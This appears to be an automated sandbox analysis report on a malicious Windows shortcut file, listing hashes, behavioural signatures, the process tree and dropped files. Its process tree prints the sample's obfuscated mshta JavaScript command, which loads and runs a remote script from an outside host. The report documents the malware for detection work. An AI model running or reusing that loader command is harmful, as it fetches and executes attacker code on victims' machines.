Analysis
-
max time kernel
119s -
max time network
120s -
platform
windows7_x64 -
resource
win7-20240508-en -
resource tags
arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system -
submitted
23-05-2024 18:19
Static task
static1
Behavioral task
behavioral1
Sample
V_273686.Lnk.lnk
Resource
win7-20240508-en
Behavioral task
behavioral2
Sample
V_273686.Lnk.lnk
Resource
win10v2004-20240508-en
General
-
Target
V_273686.Lnk.lnk
-
Size
14KB
-
MD5
1dca9e98e575af3b1e2b90e59d75dc43
-
SHA1
16cc510d884cae94137a9fbf90c4d2c0f0c5d2f1
-
SHA256
a89872c21ac68096a76a60e5a13c77ddf79252c3097aea42865879c5b6d452f3
-
SHA512
abbe50c0e93d99fe2c12c0c6c33204b28deeecf038f6cf11f67ba6ce770e4b95a7c3c9562512747a8df607408f342a877514e4d1d1dfedc3a5d96d9953563129
-
SSDEEP
384:nhjOveahqUcUXmdw7o3m7Ylw0sBsHorbqaUA/d:pOvShUXm68m00e1DY
Malware Config
Signatures
-
Blocklisted process makes network request 5 IoCs
Processes:
mshta.exeflow pid process 4 2644 mshta.exe 6 2644 mshta.exe 9 2644 mshta.exe 11 2644 mshta.exe 13 2644 mshta.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Processes:
mshta.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000\Software\Microsoft\Internet Explorer\Main mshta.exe -
Suspicious use of WriteProcessMemory 6 IoCs
Processes:
cmd.execmd.exedescription pid process target process PID 2024 wrote to memory of 2352 2024 cmd.exe cmd.exe PID 2024 wrote to memory of 2352 2024 cmd.exe cmd.exe PID 2024 wrote to memory of 2352 2024 cmd.exe cmd.exe PID 2352 wrote to memory of 2644 2352 cmd.exe mshta.exe PID 2352 wrote to memory of 2644 2352 cmd.exe mshta.exe PID 2352 wrote to memory of 2644 2352 cmd.exe mshta.exe
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\V_273686.Lnk.lnk1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c MshtA "JaVAsCrIpT:var _$_NXUI=["\x4b\x49\x49\x54\x48\x5a\x4c","\163\x63\162\x69\160\x74\x3a\110\124\x74\x70\163\x3a\x2f\x2f\x63\x72\x6f\156\x61\x6c\x31\70\64\56\x70\x68\162\x6f\x61\x74\x69\166\x61\x2e\x63\157\155\x2e\142\x72\57\x3f\x32\x2f"];try{GetObject(_$_NXUI[1])[_$_NXUI[0]]()}catch(e){};close()"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\mshta.exeMshtA "JaVAsCrIpT:var _$_NXUI=["\x4b\x49\x49\x54\x48\x5a\x4c","\163\x63\162\x69\160\x74\x3a\110\124\x74\x70\163\x3a\x2f\x2f\x63\x72\x6f\156\x61\x6c\x31\70\64\56\x70\x68\162\x6f\x61\x74\x69\166\x61\x2e\x63\157\155\x2e\142\x72\57\x3f\x32\x2f"];try{GetObject(_$_NXUI[1])[_$_NXUI[0]]()}catch(e){};close()"3⤵
- Blocklisted process makes network request
- Modifies Internet Explorer settings
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Temp\Cab3536.tmpFilesize
68KB
MD529f65ba8e88c063813cc50a4ea544e93
SHA105a7040d5c127e68c25d81cc51271ffb8bef3568
SHA2561ed81fa8dfb6999a9fedc6e779138ffd99568992e22d300acd181a6d2c8de184
SHA512e29b2e92c496245bed3372578074407e8ef8882906ce10c35b3c8deebfefe01b5fd7f3030acaa693e175f4b7aca6cd7d8d10ae1c731b09c5fa19035e005de3aa
-
C:\Users\Admin\AppData\Local\Temp\Tar35C5.tmpFilesize
177KB
MD5435a9ac180383f9fa094131b173a2f7b
SHA176944ea657a9db94f9a4bef38f88c46ed4166983
SHA25667dc37ed50b8e63272b49a254a6039ee225974f1d767bb83eb1fd80e759a7c34
SHA5121a6b277611959720a9c71114957620517ad94541302f164eb872bd322292a952409bafb8bc2ac793b16ad5f25d83f8594ccff2b7834e3c2b2b941e6fc84c009a